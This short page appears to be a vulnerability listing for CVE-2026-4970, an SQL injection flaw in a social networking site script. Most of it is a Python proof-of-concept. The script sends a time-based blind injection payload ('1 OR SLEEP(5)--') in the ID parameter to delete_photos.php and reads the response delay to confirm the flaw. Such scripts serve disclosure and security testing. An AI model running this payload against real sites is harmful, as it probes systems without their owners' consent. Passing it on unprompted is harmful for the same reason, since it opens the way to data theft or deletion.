CVE-2026-4970 Social Networking Site SQL注入漏洞

import requests # Target URL vulnerable to SQL Injection target_url = "http://target.com/delete_photos.php" # Malicious payload to test SQL Injection in the 'ID' parameter # Example payload to check for time-based blind injection or syntax error payload = { "ID": "1 OR SLEEP(5)--" } try: response = requests.post(target_url, data=payload) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed via timing attack.") else: print("[-] Exploit attempt did not trigger expected delay.") except Exception as e: print(f"Error: {e}")